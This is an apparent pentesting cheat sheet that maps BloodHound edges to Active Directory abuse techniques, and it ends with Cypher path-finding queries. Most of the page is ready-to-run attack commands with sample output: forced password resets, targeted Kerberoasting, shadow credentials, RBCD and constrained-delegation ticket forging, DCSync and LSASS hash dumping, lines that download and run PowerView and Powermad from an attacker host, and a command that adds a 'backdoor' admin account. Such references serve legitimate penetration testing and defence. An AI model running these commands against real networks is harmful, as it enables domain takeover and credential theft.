Skip to content
HackIndex logo

HackIndex

BloodHound Edge Reference

11 min read Jul 10, 2026

BloodHound nodes: users, computers, groups, OUs, GPOs, Certificate Authorities. Edges are directed. The arrow points from the node that has the right to the target. Mark compromised accounts as Owned (right-click → Mark as Owned), then use Shortest Paths to Domain Admins from Owned Principals to see your attack path.

BloodHound CE (v5+) adds edges not in legacy: AddKeyCredentialLink, WriteAccountRestrictions, ADCSESC1ADCSESC13. If a CE-specific edge is missing, you may be on legacy BloodHound.

Object Control Edges

GenericAll

Full control over the target object. Strongest edge, unlocks every abuse technique for that object type.

  • User: force password change, set SPN (targeted Kerberoasting), shadow credentials, disable pre-auth

  • Group: add yourself as a member

  • Computer: configure RBCD via add rbcd

  • GPO: add scheduled task running as SYSTEM on every linked computer. See GPO Abuse

┌──(kali㉿kali)-[~]
└─$ # Force password change
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # Set fake SPN → targeted Kerberoasting
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request
PS C:\Users\Guest\Desktop> # Load PowerView — On Kali: /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
 
# Force password change
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
 
# Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose
┌──(kali㉿kali)-[~]
└─$ # Add yourself to group (new membership requires fresh TGT — log out and back in)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER
 
┌──(kali㉿kali)-[~]
└─$ # RBCD on computer — then follow AllowedToAct section for S4U2Proxy exploit
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
PS C:\Users\Guest\Desktop> # Add to group
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose
 
# RBCD on computer — build SD with controlled computer SID
$AttackerSID = Get-DomainComputer "$CONTROLLED_COMPUTER" -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

GenericWrite

Write access on specific attributes of the target.

  • User: set SPN (Kerberoasting), disable pre-auth (AS-REP roasting), add key credential (shadow creds)

  • Computer: add rbcd, direct RBCD path, same as GenericAll on computer

  • Group: WriteProperty on member to add members

┌──(kali㉿kali)-[~]
└─$ # Set SPN on user → targeted Kerberoasting
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc.corp.local'
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:'$PASSWORD' -dc-ip $TARGET_IP -request
 
┌──(kali㉿kali)-[~]
└─$ # Disable pre-auth → AS-REP roastable
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER -f DONT_REQ_PREAUTH
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$TARGET_USER -no-pass -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # On computer: RBCD (same as GenericAll on computer)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" "$CONTROLLED_COMPUTER$"
PS C:\Users\Guest\Desktop> # Set SPN → targeted Kerberoasting
Set-DomainObject -Identity $TARGET_USER -Set @{serviceprincipalname='fake/dc.corp.local'} -Verbose
 
# Disable pre-auth → AS-REP roastable (XOR toggles DONT_REQ_PREAUTH bit = 0x400000)
Set-DomainObject -Identity $TARGET_USER -XOR @{useraccountcontrol=4194304} -Verbose

ForceChangePassword

Reset the target user's password without knowing their current one. Avoid on service accounts: a password change can break running services.

┌──(kali㉿kali)-[~]
└─$ # bloodyAD
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'
 
┌──(kali㉿kali)-[~]
└─$ # rpcclient
┌──(kali㉿kali)-[~]
└─$ rpcclient -U "$DOMAIN/$USER%$PASSWORD" $TARGET_IP -c "setuserinfo2 $TARGET_USER 23 'NewPass123!'"
PS C:\Users\Guest\Desktop> # PowerView
Set-DomainUserPassword -Identity $TARGET_USER -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
 
# AD module (RSAT — available on domain-joined hosts)
Set-ADAccountPassword -Identity $TARGET_USER -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset

WriteOwner

Become the owner of the target object, then grant yourself GenericAll, then follow the GenericAll abuse path above.

┌──(kali㉿kali)-[~]
└─$ # Take ownership
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner "$TARGET_OBJECT" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Grant yourself GenericAll on the object
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "$TARGET_OBJECT" $USER
PS C:\Users\Guest\Desktop> # Take ownership
Set-DomainObjectOwner -Identity "$TARGET_OBJECT" -OwnerIdentity $USER -Verbose
 
# Grant yourself full control
Add-DomainObjectAcl -TargetIdentity "$TARGET_OBJECT" -PrincipalIdentity $USER -Rights All -Verbose

WriteDACL

Write to the DACL of the target. On a domain object: grant DCSync rights. On a group: grant AddMember. On a user: grant ForceChangePassword.

AllExtendedRights on a user includes User-Force-Change-Password. On a domain object it covers both replication rights, equivalent to the DCSync edge. Abuse path is the same as WriteDACL on domain below.

┌──(kali㉿kali)-[~]
└─$ # Grant your account DCSync rights
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER
PS C:\Users\Guest\Desktop> # Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USER -Rights DCSync -Verbose
 
# Grant AddMember on a group
Add-DomainObjectAcl -TargetIdentity "$TARGET_GROUP" -PrincipalIdentity $USER -Rights WriteMembers -Verbose

AddMember / AddSelf

AddMember: add any user. AddSelf: add only yourself. New group membership requires a fresh Kerberos ticket. Request a new TGT or re-authenticate after adding.

┌──(kali㉿kali)-[~]
└─$ # Add yourself
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add another user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $TARGET_USER
PS C:\Users\Guest\Desktop> # PowerView
Add-DomainGroupMember -Identity "$TARGET_GROUP" -Members $USER -Verbose
 
# AD module
Add-ADGroupMember -Identity "$TARGET_GROUP" -Members $USER

Write to msDS-KeyCredentialLink on the target. Adds a certificate-based credential without changing the password (stealthier than ForceChangePassword). Requires PKINIT on the DC (Windows Server 2016+). Works on users and computers.

WriteAccountRestrictions is a CE-specific edge controlling msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object. Direct RBCD path, same as GenericWrite on computer, use add rbcd or the PowerView SD method above.

┌──(kali㉿kali)-[~]
└─$ # Add key credential, authenticate, return NTLM hash
certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
 
# Pass the hash
nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
$ certipy shadow auto -u [email protected] -p Password123 -account svc-backup -dc-ip 10.10.10.10
[*] Targeting user 'svc-backup'
[*] Generating certificate
[*] Got NT hash for 'svc-backup': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
PS C:\Users\Guest\Desktop> .\Whisker.exe add /target:$TARGET_USER
 
# Run the Rubeus command Whisker prints — authenticates with cert, returns NT hash
.\Rubeus.exe asktgt /user:$TARGET_USER /certificate:$CERT_B64 /password:$CERT_PASS /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
[*] Action: Shadow Credentials
[*] Adding shadow credentials for: svc-backup
[*] Use the following Rubeus command:
.\Rubeus.exe asktgt /user:svc-backup /certificate:MIIK... /password:Whisker123 /domain:corp.local /dc:10.10.10.10 /getcredentials /show /nowrap

Session and Access Edges

HasSession

A user has an active session on the target computer at collection time. Their credentials may be in LSASS. HasSession is a pivot indicator, not a direct access edge. You need a separate access edge (AdminTo, CanRDP, CanPSRemote) to reach that computer first.

┌──(kali㉿kali)-[~]
└─$ # Requires local admin on the target computer
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
 
┌──(kali㉿kali)-[~]
└─$ # secretsdump
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP
LSASSY  10.10.10.10  445  PC01  corp\administrator:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

See AD Credential Dumping for full methods.

AdminTo

Your controlled user is a local administrator on the target computer. Gives LSASS access, SMB exec, WinRM, PSExec: full post-exploitation.

┌──(kali㉿kali)-[~]
└─$ # Verify local admin
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Shell via WinRM (port 5985)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Shell via SMB exec
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # LSASS dump
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M lsassy
SMB  10.10.10.10  445  PC01  [+] corp\jsmith:Password123 (Pwn3d!)

CanRDP / CanPSRemote / ExecuteDCOM

CanRDP: Remote Desktop (port 3389). CanPSRemote: WinRM (port 5985). ExecuteDCOM: DCOM exec (requires local admin on target).

┌──(kali㉿kali)-[~]
└─$ # CanRDP
┌──(kali㉿kali)-[~]
└─$ xfreerdp /v:$TARGET_IP /u:$USER /p:$PASSWORD /d:$DOMAIN +clipboard /dynamic-resolution
 
┌──(kali㉿kali)-[~]
└─$ # CanPSRemote
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # ExecuteDCOM
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'cmd.exe /c net user backdoor Password123! /add'

Replication Edges

DCSync / GetChanges + GetChangesAll / AllExtendedRights on Domain

Impersonate a DC to pull all password hashes. DCSync edge means both replication rights are already granted. First grant rights if missing (WriteDACL → add dcsync), then dump.

┌──(kali㉿kali)-[~]
└─$ # All hashes
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Target account only
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASSWORD@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc-user Administrator $DOMAIN/$USER:$PASSWORD@$TARGET_IP
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:Administrator
mimikatz # lsadump::dcsync /domain:$DOMAIN /all /csv
Object  : krbtgt
Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d

The krbtgt hash enables a Golden Ticket. See DCSync and Domain Takeover.

Delegation Edges

AllowedToDelegate (Constrained Delegation)

The account is trusted to delegate to a specific SPN. Impersonate any user (including Domain Admin) to that service without knowing their password.

┌──(kali㉿kali)-[~]
└─$ # Get service ticket impersonating Administrator
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/$USER:$PASSWORD
 
# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
PS C:\Users\Guest\Desktop> # Enumerate accounts trusted for constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnsHostname,msds-allowedtodelegateto
 
# S4U2Proxy — need NT hash of the delegating account
.\Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt
 
# With existing TGT
.\Rubeus.exe s4u /ticket:$BASE64_TGT /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt

AllowedToAct / RBCD (Resource-Based Constrained Delegation)

You have write access on msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer (GenericAll / GenericWrite / WriteAccountRestrictions). Need a computer account you control. Create one with impacket-addcomputer or New-MachineAccount if the machine account quota allows (default: 10 per domain user).

┌──(kali㉿kali)-[~]
└─$ # Create attacker-controlled computer account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'ATTACKER$' -computer-pass 'Password123!' -dc-ip $TARGET_IP
 
# Set RBCD — ATTACKER$ can act on behalf of TARGET_COMPUTER
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" 'ATTACKER$'
 
# S4U2Self + S4U2Proxy → Administrator CIFS ticket
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKER$':'Password123!'
 
# Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN
PS C:\Users\Guest\Desktop> # Load PowerMad
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Powermad.ps1')
 
# Create computer account
New-MachineAccount -MachineAccount 'ATTACKER' -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose
 
# Get SID and build security descriptor
$AttackerSID = Get-DomainComputer 'ATTACKER' -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "$TARGET_COMPUTER" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
 
# NT hash of ATTACKER$ then S4U2Proxy
.\Rubeus.exe hash /password:'Password123!'
.\Rubeus.exe s4u /user:'ATTACKER$' /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:"cifs/$TARGET_COMPUTER.$DOMAIN" /ptt

ADCS Edges (BloodHound CE)

Legacy BloodHound does not show ADCS paths. BloodHound CE adds them as ADCSESC1 through ADCSESC13.

  • ADCSESC1: enroll in template with SAN, request cert as any user including DA

  • ADCSESC4: write on certificate template, modify to enable SAN, then ESC1

  • ADCSESC8: NTLM relay to AD CS HTTP endpoint, relay machine auth to get cert

  • ADCSESC9a/b: GenericWrite on user with weak cert mapping, set UPN to target, enroll, authenticate

See ADCS Exploitation.

GPO Edges

GenericWrite on a GPO: add scheduled task running as SYSTEM on every computer in linked OU. GpLink on OU shows the linked GPO. See GPO Abuse.

BloodHound CE: Cypher Queries

Run custom Cypher in BloodHound CE: top menu → Analysis → Custom Queries. Replace CORP.LOCAL with your domain in uppercase.

// Shortest path from all owned nodes to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@@CORP.LOCAL"})) RETURN p

// All shortest paths
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@@CORP.LOCAL"})) RETURN p

// Computers where DA users have active sessions
MATCH (c:Computer)<-[:HasSession]-(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@@CORP.LOCAL"}) RETURN c.name, u.name

// All principals with DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n.name, labels(n), d.name

// Kerberoastable users with path to DA
MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@@CORP.LOCAL"})) RETURN p

// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
// Computers without LAPS (CE property)
MATCH (c:Computer {haslaps:false}) RETURN c.name, c.operatingsystem

// Unconstrained delegation — non-DC computers
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH "DC" RETURN c.name

// All ADCS ESC paths visible in CE
MATCH p=()-[:ADCSESC1|ADCSESC4|ADCSESC8|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b]->() RETURN p

// All GenericAll edges — who controls what
MATCH p=(n)-[:GenericAll]->(o) RETURN n.name, labels(o), o.name ORDER BY n.name

References